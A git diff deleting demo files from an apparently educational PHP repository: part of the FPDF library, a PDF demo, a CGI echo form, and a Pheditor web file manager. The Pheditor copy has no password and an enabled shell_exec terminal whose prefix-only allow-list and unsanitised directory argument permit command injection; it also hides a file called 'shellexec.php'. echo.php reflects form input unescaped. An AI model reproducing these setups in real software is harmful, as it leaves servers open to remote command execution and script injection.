-		elseif($type=='Type1' || $type=='TrueType')
-		{
-			// Additional Type1 or TrueType/OpenType font
-			$this->_newobj();
-			$this->_put('<</Type /Font');
-			$this->_put('/BaseFont /'.$name);
-			$this->_put('/Subtype /'.$type);
-			$this->_put('/FirstChar 32 /LastChar 255');
-			$this->_put('/Widths '.($this->n+1).' 0 R');
-			$this->_put('/FontDescriptor '.($this->n+2).' 0 R');
-			if(isset($font['diff']))
-				$this->_put('/Encoding '.$this->encodings[$font['enc']].' 0 R');
-			else
-				$this->_put('/Encoding /WinAnsiEncoding');
-			if(isset($font['uv']))
-				$this->_put('/ToUnicode '.$this->cmaps[$cmapkey].' 0 R');
-			$this->_put('>>');
-			$this->_put('endobj');
-			// Widths
-			$this->_newobj();
-			$cw = &$font['cw'];
-			$s = '[';
-			for($i=32;$i<=255;$i++)
-				$s .= $cw[chr($i)].' ';
-			$this->_put($s.']');
-			$this->_put('endobj');
-			// Descriptor
-			$this->_newobj();
-			$s = '<</Type /FontDescriptor /FontName /'.$name;
-			foreach($font['desc'] as $k=>$v)
-				$s .= ' /'.$k.' '.$v;
-			if(!empty($font['file']))
-				$s .= ' /FontFile'.($type=='Type1' ? '' : '2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';
-			$this->_put($s.'>>');
-			$this->_put('endobj');
-		}
-		else
-		{
-			// Allow for additional types
-			$mtd = '_put'.strtolower($type);
-			if(!method_exists($this,$mtd))
-				$this->Error('Unsupported font type: '.$type);
-			$this->$mtd($font);
-		}
-	}
-}
-
-protected function _tounicodecmap($uv)
-{
-	$ranges = '';
-	$nbr = 0;
-	$chars = '';
-	$nbc = 0;
-	foreach($uv as $c=>$v)
-	{
-		if(is_array($v))
-		{
-			$ranges .= sprintf("<%02X> <%02X> <%04X>\n",$c,$c+$v[1]-1,$v[0]);
-			$nbr++;
-		}
-		else
-		{
-			$chars .= sprintf("<%02X> <%04X>\n",$c,$v);
-			$nbc++;
-		}
-	}
-	$s = "/CIDInit /ProcSet findresource begin\n";
-	$s .= "12 dict begin\n";
-	$s .= "begincmap\n";
-	$s .= "/CIDSystemInfo\n";
-	$s .= "<</Registry (Adobe)\n";
-	$s .= "/Ordering (UCS)\n";
-	$s .= "/Supplement 0\n";
-	$s .= ">> def\n";
-	$s .= "/CMapName /Adobe-Identity-UCS def\n";
-	$s .= "/CMapType 2 def\n";
-	$s .= "1 begincodespacerange\n";
-	$s .= "<00> <FF>\n";
-	$s .= "endcodespacerange\n";
-	if($nbr>0)
-	{
-		$s .= "$nbr beginbfrange\n";
-		$s .= $ranges;
-		$s .= "endbfrange\n";
-	}
-	if($nbc>0)
-	{
-		$s .= "$nbc beginbfchar\n";
-		$s .= $chars;
-		$s .= "endbfchar\n";
-	}
-	$s .= "endcmap\n";
-	$s .= "CMapName currentdict /CMap defineresource pop\n";
-	$s .= "end\n";
-	$s .= "end";
-	return $s;
-}
-
-protected function _putimages()
-{
-	foreach(array_keys($this->images) as $file)
-	{
-		$this->_putimage($this->images[$file]);
-		unset($this->images[$file]['data']);
-		unset($this->images[$file]['smask']);
-	}
-}
-
-protected function _putimage(&$info)
-{
-	$this->_newobj();
-	$info['n'] = $this->n;
-	$this->_put('<</Type /XObject');
-	$this->_put('/Subtype /Image');
-	$this->_put('/Width '.$info['w']);
-	$this->_put('/Height '.$info['h']);
-	if($info['cs']=='Indexed')
-		$this->_put('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]');
-	else
-	{
-		$this->_put('/ColorSpace /'.$info['cs']);
-		if($info['cs']=='DeviceCMYK')
-			$this->_put('/Decode [1 0 1 0 1 0 1 0]');
-	}
-	$this->_put('/BitsPerComponent '.$info['bpc']);
-	if(isset($info['f']))
-		$this->_put('/Filter /'.$info['f']);
-	if(isset($info['dp']))
-		$this->_put('/DecodeParms <<'.$info['dp'].'>>');
-	if(isset($info['trns']) && is_array($info['trns']))
-	{
-		$trns = '';
-		for($i=0;$i<count($info['trns']);$i++)
-			$trns .= $info['trns'][$i].' '.$info['trns'][$i].' ';
-		$this->_put('/Mask ['.$trns.']');
-	}
-	if(isset($info['smask']))
-		$this->_put('/SMask '.($this->n+1).' 0 R');
-	$this->_put('/Length '.strlen($info['data']).'>>');
-	$this->_putstream($info['data']);
-	$this->_put('endobj');
-	// Soft mask
-	if(isset($info['smask']))
-	{
-		$dp = '/Predictor 15 /Colors 1 /BitsPerComponent 8 /Columns '.$info['w'];
-		$smask = array('w'=>$info['w'], 'h'=>$info['h'], 'cs'=>'DeviceGray', 'bpc'=>8, 'f'=>$info['f'], 'dp'=>$dp, 'data'=>$info['smask']);
-		$this->_putimage($smask);
-	}
-	// Palette
-	if($info['cs']=='Indexed')
-		$this->_putstreamobject($info['pal']);
-}
-
-protected function _putxobjectdict()
-{
-	foreach($this->images as $image)
-		$this->_put('/I'.$image['i'].' '.$image['n'].' 0 R');
-}
-
-protected function _putresourcedict()
-{
-	$this->_put('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');
-	$this->_put('/Font <<');
-	foreach($this->fonts as $font)
-		$this->_put('/F'.$font['i'].' '.$font['n'].' 0 R');
-	$this->_put('>>');
-	$this->_put('/XObject <<');
-	$this->_putxobjectdict();
-	$this->_put('>>');
-}
-
-protected function _putresources()
-{
-	$this->_putfonts();
-	$this->_putimages();
-	// Resource dictionary
-	$this->_newobj(2);
-	$this->_put('<<');
-	$this->_putresourcedict();
-	$this->_put('>>');
-	$this->_put('endobj');
-}
-
-protected function _putinfo()
-{
-	$this->metadata['Producer'] = 'FPDF '.FPDF_VERSION;
-	$this->metadata['CreationDate'] = 'D:'.@date('YmdHis');
-	foreach($this->metadata as $key=>$value)
-		$this->_put('/'.$key.' '.$this->_textstring($value));
-}
-
-protected function _putcatalog()
-{
-	$n = $this->PageInfo[1]['n'];
-	$this->_put('/Type /Catalog');
-	$this->_put('/Pages 1 0 R');
-	if($this->ZoomMode=='fullpage')
-		$this->_put('/OpenAction ['.$n.' 0 R /Fit]');
-	elseif($this->ZoomMode=='fullwidth')
-		$this->_put('/OpenAction ['.$n.' 0 R /FitH null]');
-	elseif($this->ZoomMode=='real')
-		$this->_put('/OpenAction ['.$n.' 0 R /XYZ null null 1]');
-	elseif(!is_string($this->ZoomMode))
-		$this->_put('/OpenAction ['.$n.' 0 R /XYZ null null '.sprintf('%.2F',$this->ZoomMode/100).']');
-	if($this->LayoutMode=='single')
-		$this->_put('/PageLayout /SinglePage');
-	elseif($this->LayoutMode=='continuous')
-		$this->_put('/PageLayout /OneColumn');
-	elseif($this->LayoutMode=='two')
-		$this->_put('/PageLayout /TwoColumnLeft');
-}
-
-protected function _putheader()
-{
-	$this->_put('%PDF-'.$this->PDFVersion);
-}
-
-protected function _puttrailer()
-{
-	$this->_put('/Size '.($this->n+1));
-	$this->_put('/Root '.$this->n.' 0 R');
-	$this->_put('/Info '.($this->n-1).' 0 R');
-}
-
-protected function _enddoc()
-{
-	$this->_putheader();
-	$this->_putpages();
-	$this->_putresources();
-	// Info
-	$this->_newobj();
-	$this->_put('<<');
-	$this->_putinfo();
-	$this->_put('>>');
-	$this->_put('endobj');
-	// Catalog
-	$this->_newobj();
-	$this->_put('<<');
-	$this->_putcatalog();
-	$this->_put('>>');
-	$this->_put('endobj');
-	// Cross-ref
-	$offset = $this->_getoffset();
-	$this->_put('xref');
-	$this->_put('0 '.($this->n+1));
-	$this->_put('0000000000 65535 f ');
-	for($i=1;$i<=$this->n;$i++)
-		$this->_put(sprintf('%010d 00000 n ',$this->offsets[$i]));
-	// Trailer
-	$this->_put('trailer');
-	$this->_put('<<');
-	$this->_puttrailer();
-	$this->_put('>>');
-	$this->_put('startxref');
-	$this->_put($offset);
-	$this->_put('%%EOF');
-	$this->state = 3;
-}
-}
diff --git a/src/Demos/PHP/fpdf/fpdf_demo.php b/src/Demos/PHP/fpdf/fpdf_demo.php
deleted file mode 100644
index 90a88d5404c641573c36bda41a55f096f2480133..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/fpdf/fpdf_demo.php
+++ /dev/null
@@ -1,9 +0,0 @@
-<?php
-require('fpdf.php');
-
-$pdf = new FPDF();
-$pdf->AddPage();
-$pdf->SetFont('Helvetica', 'B', 16);
-$pdf->Cell(40, 10, 'Hello World!');
-$pdf->Output();
-
diff --git a/src/Demos/PHP/fpdf/pdf_Wrapper.html b/src/Demos/PHP/fpdf/pdf_Wrapper.html
deleted file mode 100644
index 6a4d22a4c51ac27001b026a8fe9062daa70065d0..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/fpdf/pdf_Wrapper.html
+++ /dev/null
@@ -1,18 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>PDF-Demo</title>
-</head>
-<style>
-	html, body {
-		height: 100%;
-		margin: 0;         /* Reset default margin on the body element */
-	}
-</style>
-<body>
-    <object data="fpdf_demo.php" type="application/pdf" style="height:100%;width:100%">
-        <embed src="fpdf_demo.php" type="application/pdf" style="height:100vh;width:100%" height=100vh;width=100%/>
-    </object>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/cgi-bin/CgiTestFormular.html b/src/Demos/cgi-bin/CgiTestFormular.html
deleted file mode 100644
index 748fd65414696a2a157c0ab839d505bb3aafa6bb..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/CgiTestFormular.html
+++ /dev/null
@@ -1,32 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>CgiTestformular</title>
-</head>
-<body>
-<h1>CgiTestFormular</h1>
-<p>Dieses Formular sendet an
-    <a href="http://localhost/my-cgi-bin/echo.php"> http://localhost/my-cgi-bin/echo.php
-    </a>
-</p>
-<form action="http://localhost/my-cgi-bin/echo.php" method="get" accept-charset="UTF-8">
-    <label>Name:<br/>
-        <input maxlength="40" size="40" name="Anwendername"/>
-    </label><br/>
-    <label>Text:<br/>
-        <textarea name="KommentarText" rows="2" cols="40"></textarea>
-    </label>
-    <p><input type="submit" value="absenden"/> mit GET</p>
-</form>
-<form action="http://localhost/my-cgi-bin/echo.php" method="post" accept-charset="UTF-8">
-    <label>Name:<br>
-        <input maxlength="40" size="40" name="Anwendername"/>
-    </label><br/>
-    <label>Text:<br/>
-        <textarea name="KommentarText" rows="2" cols="40"></textarea>
-    </label>
-    <p><input type="submit" value="absenden"/> mit POST</p>
-</form>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/cgi-bin/echo.php b/src/Demos/cgi-bin/echo.php
deleted file mode 100644
index f657fac89ce6b9719efeb6e622a56b74266d22a2..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/echo.php
+++ /dev/null
@@ -1,35 +0,0 @@
-<?php
-// MIME-Type der Antwort definieren (*vor* allem HTML):
-header("Content-type: text/html");
-// alle möglichen Fehlermeldungen aktivieren:
-error_reporting(E_ALL);
-
-echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8" />
-    <title>CGI-Formular-Echo</title>
-</head>
-<body>
-	<h1>Formular-Echo</h1>
-	<p>Sie haben folgende Formulardaten mit der Methode 
-EOT;
-if ($_SERVER["REQUEST_METHOD"] == "GET") {
-    $Params = $_GET;
-    echo "GET";
-} else if ($_SERVER["REQUEST_METHOD"] == "POST") {
-    $Params = $_POST;
-    echo "POST";
-}
-echo " übermittelt:</p>\n";
-echo "	<p>\n";
-
-foreach ($Params as $key => $value) {
-    echo "$key=$value<br />\n";
-}
-echo <<<EOT
-	</p>
-</body>
-</html>
-EOT;
diff --git a/src/Demos/cgi-bin/pheditor/.gitignore b/src/Demos/cgi-bin/pheditor/.gitignore
deleted file mode 100644
index 306cdfde5e488d021cbb79b8a03c5326077ce40a..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/pheditor/.gitignore
+++ /dev/null
@@ -1,3 +0,0 @@
-.DS_Store
-.phedlog
-.phedhistory
\ No newline at end of file
diff --git a/src/Demos/cgi-bin/pheditor/LICENSE b/src/Demos/cgi-bin/pheditor/LICENSE
deleted file mode 100644
index 940d66008d1ba3a834d5da22e4e708ed8653bc58..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/pheditor/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-The MIT License (MIT)
-
-Copyright (c) 2016 Hamid Samak
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/src/Demos/cgi-bin/pheditor/README.md b/src/Demos/cgi-bin/pheditor/README.md
deleted file mode 100644
index 65556d86abbe9da37b9d6c8622b8d6decaa4c0c5..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/pheditor/README.md
+++ /dev/null
@@ -1,86 +0,0 @@
-Pheditor
-=======
-
-Pheditor is a single-file editor and file manager written in PHP.
-
-![Pheditor - PHP file Editor](https://pheditor.ir/assets/image/screenrecord-desktop.gif "Pheditor PHP file editor")
-
-### Features
-1. Editor with syntax highlighting
-2. File Manager (create, rename and delete files and directories)
-3. Password protected area
-4. Keeping the history of edited files and changes
-5. Keyboard shortcuts
-6. Access levels for reading and writing and other permissions
-7. Terminal
-
----
-
-### Install & Usage
-
-Install using composer:
-`composer create-project hamidsamak/pheditor`
-
-or just upload `pheditor.php` to your web host (and/or rename it as you wish).
-
----
-
-**NOTES**:
-1. The default password is `admin`. Please change the password after install or first login.
-2. As the script gives permission to edit files, it is recommended to keep the address secret or protected depending on the web-server you are using.
-
----
-
-**Optional settings:**
-
-The settings would be editable in the main PHP file (pheditor.php by default).
-The settings are as below:
-1. Define patterns for files and directories to view/edit (empty means all files & directories)
-2. Log file path
-3. Show/Hide hidden files
-4. Limit access to the page only for an IP address (empty means access for all)
-5. Show/Hide main pheditor file (pheditor.php) in files list to edit 
-6. History files path
-7. Word wrap
-8. Changing main directory (`MAIN_DIR`)
-9. Enable/Disable Terminal
-10. Define allowed terminal commands
-
----
-
-**Hotkeys:**
-
-1. New File `Ctrl (CMD) + Shift + N`
-2. Save File `Ctrl (CMD) + Shift + S`
-3. Switch between file manager, editor and terminal `Esc`
-4. Double press `Esc` to open file menu
-5. Double click on file name to view in browser window/tab.
-6. Find `Ctrl (CMD) + F`
-7. Find next `Ctrl (CMD) + G`
-8. Find previous `Shift + Ctrl (CMD) + G`
-9. Replace `Shift + Ctrl + F` or `CMD + Option + F`
-10. Replace all `Shift + Ctrl + R` or `Shift + CMD + Option + F`
-11. Persistent search `Alt + F`
-12. Go to line `Alt (Option) + G`
-13. Toggle Terminal `Ctrl (CMD) + Shift + L`
-
----
-
-**Using without password:**
-
-You can empty the `PASSWORD` constant in the source code to access the script without the password. But it is highly recommended to use it and change the default password after installation.
-
----
-
-**Access Levels and Permissions:**
-
-There are eight permissions for users that is defined in `PERMISSIONS` constant. You can remove any of them as you need.
-
-Default value: `newfile,newdir,editfile,deletefile,deletedir,renamefile,renamedir,changepassword,uploadfile,terminal`
-
----
-**Thanks to:**
-
-[Laurent](https://github.com/slolo2000)
-
-[fjavierc](https://github.com/fjavierc)
diff --git a/src/Demos/cgi-bin/pheditor/composer.json b/src/Demos/cgi-bin/pheditor/composer.json
deleted file mode 100644
index 8923da7f3f3ae009bc9f1996c0e42321f8d516de..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/pheditor/composer.json
+++ /dev/null
@@ -1,25 +0,0 @@
-{
-	"name": "pheditor/pheditor",
-	"type": "project",
-	"description": "php file editor",
-	"keywords": [
-		"pheditor",
-		"php",
-		"file editor",
-		"file manager"
-	],
-	"homepage": "https://github.com/pheditor/pheditor",
-	"license": "MIT",
-	"authors": [
-		{
-			"name": "Hamid Samak",
-			"email": "me@hamidsamak.ir",
-			"homepage": "https://hamidsamak.ir",
-			"role": "Developer"
-		}
-	],
-	"require": {
-		"php": ">=5.4.0"
-	},
-	"minimum-stability": "stable"
-}
\ No newline at end of file
diff --git a/src/Demos/cgi-bin/pheditor/pheditor.php b/src/Demos/cgi-bin/pheditor/pheditor.php
deleted file mode 100644
index df9917382bb94e7f380479a2f51040f79bae6a54..0000000000000000000000000000000000000000
--- a/src/Demos/cgi-bin/pheditor/pheditor.php
+++ /dev/null
@@ -1,1437 +0,0 @@
-<?php
-
-/*
- * Pheditor
- * PHP file editor
- * Hamid Samak
- * https://github.com/hamidsamak/pheditor
- * Release under MIT license
- */
-
-//RH
-define ('HIDE_SINGLE_FILE','shellexec.php');
-
-define('PASSWORD', '');
-define('DS', DIRECTORY_SEPARATOR);
-define('MAIN_DIR', '/var/www/html/');
-define('VERSION', '2.0.0');
-define('LOG_FILE', MAIN_DIR . DS . '.phedlog');
-define('SHOW_PHP_SELF', false);
-define('SHOW_HIDDEN_FILES', false);
-define('ACCESS_IP', '');
-define('HISTORY_PATH', MAIN_DIR . DS . '.phedhistory');
-define('MAX_HISTORY_FILES', 0);
-define('WORD_WRAP', true);
-#define('PERMISSIONS', 'newfile,newdir,editfile,deletefile,deletedir,renamefile,renamedir,changepassword,uploadfile,terminal'); // empty means all
-define('PERMISSIONS', 'editfile,uploadfile,terminal'); // empty means all
-define('PATTERN_FILES', '/^[A-Za-z0-9-_.\/]*\.(txt|php|htm|html|js|css|tpl|md|xml|json)$/i'); // empty means no pattern
-define('PATTERN_DIRECTORIES', '/^((?!backup).)*$/i'); // empy means no pattern
-define('TERMINAL_COMMANDS', 'ls,ll,whoami,php,date,cd');
-
-if (empty(ACCESS_IP) === false && ACCESS_IP != $_SERVER['REMOTE_ADDR']) {
-	die('Your IP address is not allowed to access this page.');
-}
-
-if (file_exists(LOG_FILE)) {
-	$log = unserialize(file_get_contents(LOG_FILE));
-
-	if (empty($log)) {
-		$log = [];
-	}
-
-	if (isset($log[$_SERVER['REMOTE_ADDR']]) && $log[$_SERVER['REMOTE_ADDR']]['num'] > 3 && time() - $log[$_SERVER['REMOTE_ADDR']]['time'] < 86400) {
-		die('This IP address is blocked due to unsuccessful login attempts.');
-	}
-
-	foreach ($log as $key => $value) {
-		if (time() - $value['time'] > 86400) {
-			unset($log[$key]);
-
-			$log_updated = true;
-		}
-	}
-
-	if (isset($log_updated)) {
-		file_put_contents(LOG_FILE, serialize($log));
-	}
-}
-
-session_set_cookie_params(86400, dirname($_SERVER['REQUEST_URI']));
-session_name('pheditor');
-session_start();
-
-if (empty(PASSWORD) === false && (isset($_SESSION['pheditor_admin']) === false || $_SESSION['pheditor_admin'] !== true)) {
-	if (isset($_POST['pheditor_password']) && empty($_POST['pheditor_password']) === false) {
-		if (hash('sha512', $_POST['pheditor_password']) === PASSWORD) {
-			$_SESSION['pheditor_admin'] = true;
-
-			redirect();
-		} else {
-			$error = 'The entry password is not correct.';
-
-			$log = file_exists(LOG_FILE) ? unserialize(file_get_contents(LOG_FILE)) : array();
-
-			if (isset($log[$_SERVER['REMOTE_ADDR']]) === false) {
-				$log[$_SERVER['REMOTE_ADDR']] = array('num' => 0, 'time' => 0);
-			}
-
-			$log[$_SERVER['REMOTE_ADDR']]['num'] += 1;
-			$log[$_SERVER['REMOTE_ADDR']]['time'] = time();
-
-			file_put_contents(LOG_FILE, serialize($log));
-		}
-	} else if (isset($_POST['action'])) {
-		header('HTTP/1.0 403 Forbidden');
-
-		die('Your session has expired.');
-	}
-
-	die('<title>Pheditor</title><form method="post"><div style="text-align:center"><h1><a href="http://github.com/hamidsamak/pheditor" target="_blank" title="PHP file editor" style="color:#444;text-decoration:none" tabindex="3">Pheditor</a></h1>' . (isset($error) ? '<p style="color:#dd0000">' . $error . '</p>' : null) . '<input id="pheditor_password" name="pheditor_password" type="password" value="" placeholder="Password&hellip;" tabindex="1"><br><br><input type="submit" value="Login" tabindex="2"></div></form><script type="text/javascript">document.getElementById("pheditor_password").focus();</script>');
-}
-
-if (isset($_GET['logout'])) {
-	unset($_SESSION['pheditor_admin']);
-
-	redirect();
-}
-
-$permissions = explode(',', PERMISSIONS);
-$permissions = array_map('trim', $permissions);
-$permissions = array_filter($permissions);
-
-if (count($permissions) < 1) {
-	$permissions = explode(',', 'newfile,newdir,editfile,deletefile,deletedir,renamefile,renamedir,changepassword,uploadfile');
-}
-
-if (isset($_POST['action'])) {
-	header('Content-Type: application/json');
-
-	if (isset($_POST['file']) && empty($_POST['file']) === false) {
-		$_POST['file'] = urldecode($_POST['file']);
-
-		if (empty(PATTERN_FILES) === false && !preg_match(PATTERN_FILES, basename($_POST['file']))) {
-			die(json_error('Invalid file pattern'));
-		}
-
-		if (strpos($_POST['file'], '../') !== false || strpos($_POST['file'], '..\'') !== false) {
-			die(json_error('Invalid file pattern'));
-		}
-	}
-
-	switch ($_POST['action']) {
-		case 'open':
-			$_POST['file'] = urldecode($_POST['file']);
-
-			if (isset($_POST['file']) && file_exists(MAIN_DIR . $_POST['file'])) {
-				die(json_success('OK', [
-					'data' => file_get_contents(MAIN_DIR . $_POST['file']),
-				]));
-			}
-			break;
-
-		case 'save':
-			$file = MAIN_DIR . $_POST['file'];
-
-			if (isset($_POST['file']) && isset($_POST['data']) && (file_exists($file) === false || is_writable($file))) {
-				if (file_exists($file) === false) {
-					if (in_array('newfile', $permissions) !== true) {
-						die(json_error('Permission denied', true));
-					}
-
-					file_put_contents($file, $_POST['data']);
-
-					echo json_success('File saved successfully');
-				} else if (is_writable($file) === false) {
-					echo json_error('File is not writable');
-				} else {
-					if (in_array('editfile', $permissions) !== true) {
-						die(json_error('Permission denied'));
-					}
-
-					if (file_exists($file)) {
-						file_to_history($file);
-					}
-
-					file_put_contents($file, $_POST['data']);
-
-					echo json_success('File saved successfully');
-				}
-			}
-			break;
-
-		case 'make-dir':
-			if (in_array('newdir', $permissions) !== true) {
-				die(json_error('Permission denied'));
-			}
-
-			$dir = MAIN_DIR . $_POST['dir'];
-
-			if (file_exists($dir) === false) {
-				mkdir($dir);
-
-				echo json_success('Directory created successfully');
-			} else {
-				echo json_error('Directory already exists');
-			}
-			break;
-
-		case 'reload':
-			echo json_success('OK', [
-				'data' => files(MAIN_DIR),
-			]);
-			break;
-
-		case 'password':
-			if (in_array('changepassword', $permissions) !== true) {
-				die(json_error('Permission denied'));
-			}
-
-			if (isset($_POST['password']) && empty($_POST['password']) === false) {
-				$contents = file(__FILE__);
-
-				foreach ($contents as $key => $line) {
-					if (strpos($line, 'define(\'PASSWORD\'') !== false) {
-						$contents[$key] = "define('PASSWORD', '" . hash('sha512', $_POST['password']) . "');\n";
-
-						break;
-					}
-				}
-
-				if (is_writable(__FILE__) === false) {
-					die(json_error('File is not writable'));
-				}
-
-				file_put_contents(__FILE__, implode($contents));
-
-				echo json_success('Password changed successfully');
-			}
-			break;
-
-		case 'delete':
-			if (isset($_POST['path']) && file_exists(MAIN_DIR . $_POST['path'])) {
-				$path = MAIN_DIR . $_POST['path'];
-
-				if ($_POST['path'] == '/') {
-					echo json_error('Unable to delete main directory');
-				} else if (is_dir($path)) {
-					if (count(scandir($path)) !== 2) {
-						echo json_error('Directory is not empty');
-					} else if (is_writable($path) === false) {
-						echo json_error('Unable to delete directory');
-					} else {
-						if (in_array('deletedir', $permissions) !== true) {
-							die(json_error('Permission denied'));
-						}
-
-						rmdir($path);
-
-						echo json_success('Directory deleted successfully');
-					}
-				} else {
-					file_to_history($path);
-
-					if (is_writable($path)) {
-						if (in_array('deletefile', $permissions) !== true) {
-							die(json_error('Permission denied'));
-						}
-
-						unlink($path);
-
-						echo json_success('File deleted successfully');
-					} else {
-						echo json_error('Unable to delete file');
-					}
-				}
-			}
-			break;
-
-		case 'rename':
-			if (isset($_POST['path']) && file_exists(MAIN_DIR . $_POST['path']) && isset($_POST['name']) && empty($_POST['name']) === false) {
-				$path = MAIN_DIR . $_POST['path'];
-				$new_path = str_replace(basename($path), '', dirname($path)) . DS . $_POST['name'];
-
-				if ($_POST['path'] == '/') {
-					echo json_error('Unable to rename main directory');
-				} else if (is_dir($path)) {
-					if (in_array('renamedir', $permissions) !== true) {
-						die(json_error('Permission denied'));
-					}
-
-					if (is_writable($path) === false) {
-						echo json_error('Unable to rename directory');
-					} else {
-						rename($path, $new_path);
-
-						echo json_success('Directory renamed successfully');
-					}
-				} else {
-					if (in_array('renamefile', $permissions) !== true) {
-						die(json_error('Permission denied'));
-					} else if (empty(PATTERN_FILES) === false && !preg_match(PATTERN_FILES, $_POST['name'])) {
-						die(json_error('Invalid file pattern: ' . htmlspecialchars($_POST['name'])));
-					}
-
-					file_to_history($path);
-
-					if (is_writable($path)) {
-						rename($path, $new_path);
-
-						echo json_success('File renamed successfully');
-					} else {
-						echo json_error('Unable to rename file');
-					}
-				}
-			}
-			break;
-
-		case 'upload-file':
-			$files = isset($_FILES['uploadfile']) ? $_FILES['uploadfile'] : [];
-			$destination = isset($_POST['destination']) ? rtrim($_POST['destination']) : null;
-
-			if (empty($destination) === false && (strpos($destination, '/..') !== false || strpos($destination, '\\..') !== false)) {
-				die(json_error('Invalid file destination'));
-			}
-
-			$destination = MAIN_DIR . $destination;
-
-			if (file_exists($destination) === false || is_dir($destination) === false) {
-				die(json_error('File destination does not exists'));
-			}
-
-			if (is_writable($destination) !== true) {
-				die(json_error('File destination is not writable'));
-			}
-
-			if (is_array($files) && count($files) > 0) {
-				for ($i = 0; $i < count($files['name']); $i += 1) {
-					if (empty(PATTERN_FILES) === false && !preg_match(PATTERN_FILES, $files['name'][$i])) {
-						die(json_error('Invalid file pattern: ' . htmlspecialchars($files['name'][$i])));
-					}
-
-					move_uploaded_file($files['tmp_name'][$i], $destination . '/' . $files['name'][$i]);
-				}
-
-				echo json_success('File' . (count($files['name']) > 1 ? 's' : null) . ' uploaded successfully');
-			}
-			break;
-
-		case 'terminal':
-			if (in_array('terminal', $permissions) !== false && isset($_POST['command'], $_POST['dir'])) {
-				if (function_exists('shell_exec') === false) {
-					echo json_error("shell_exec function is disabled\n");
-
-					exit;
-				}
-
-				set_time_limit(15);
-
-				$command  = $_POST['command'];
-				$dir = $_POST['dir'];
-
-				$command_found = false;
-				$terminal_commands = explode(',', TERMINAL_COMMANDS);
-
-				foreach ($terminal_commands as $value) {
-					$value = trim($value);
-
-					if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) {
-						$command_found = true;
-
-						break;
-					}
-				}
-
-				if ($command_found === false) {
-					echo json_error("Command not allowed\nAvailable commands:\n" . implode(' | ', $terminal_commands) . "\n");
-
-					exit;
-				}
-
-				$output = shell_exec((empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd');
-				$output = trim($output);
-
-				if (empty($output)) {
-					$output = null;
-					$dir = null;
-				} else {
-					$output = explode("\n", $output);
-					$dir = end($output);
-
-					unset($output[count($output) - 1]);
-
-					$output = implode("\n", $output);
-					$output = trim($output) . "\n";
-					$output = htmlspecialchars($output);
-				}
-
-				echo json_success('OK', ['result' => $output, 'dir' => $dir]);
-			}
-			break;
-	}
-
-	exit;
-}
-
-function files($dir, $first = true)
-{
-	$data = '';
-
-	if ($first === true) {
-		$data .= '<ul><li data-jstree=\'{ "opened" : true }\'><a href="#/" class="open-dir" data-dir="/">' . basename($dir) . '</a>';
-	}
-
-	$data .= '<ul class="files">';
-	$files = array_slice(scandir($dir), 2);
-
-	asort($files);
-
-	foreach ($files as $key => $file) {
-		if ((SHOW_PHP_SELF === false && $dir . DS . $file == __FILE__) || (SHOW_HIDDEN_FILES === false && substr($file, 0, 1) === '.') || ($file == HIDE_SINGLE_FILE)) {
-			continue;
-		}
-
-		if (is_dir($dir . DS . $file) && (empty(PATTERN_DIRECTORIES) || preg_match(PATTERN_DIRECTORIES, $file))) {
-			$dir_path = str_replace(MAIN_DIR . DS, '', $dir . DS . $file);
-
-			$data .= '<li class="dir"><a href="#/' . $dir_path . '/" class="open-dir" data-dir="/' . $dir_path . '/">' . $file . '</a>' . files($dir . DS . $file, false) . '</li>';
-		} else if (empty(PATTERN_FILES) || preg_match(PATTERN_FILES, $file)) {
-			$file_path = str_replace(MAIN_DIR . DS, '', $dir . DS . $file);
-
-			$data .= '<li class="file ' . (is_writable($file_path) ? 'editable' : null) . '" data-jstree=\'{ "icon" : "jstree-file" }\'><a href="#/' . $file_path . '" data-file="/' . $file_path . '" class="open-file">' . $file . '</a></li>';
-		}
-	}
-
-	$data .= '</ul>';
-
-	if ($first === true) {
-		$data .= '</li></ul>';
-	}
-
-	return $data;
-}
-
-function redirect($address = null)
-{
-	if (empty($address)) {
-		$address = $_SERVER['PHP_SELF'];
-	}
-
-	header('Location: ' . $address);
-	exit;
-}
-
-function file_to_history($file)
-{
-	if (is_numeric(MAX_HISTORY_FILES) && MAX_HISTORY_FILES > 0) {
-		$file_dir = dirname($file);
-		$file_name = basename($file);
-		$file_history_dir = HISTORY_PATH . str_replace(MAIN_DIR, '', $file_dir);
-
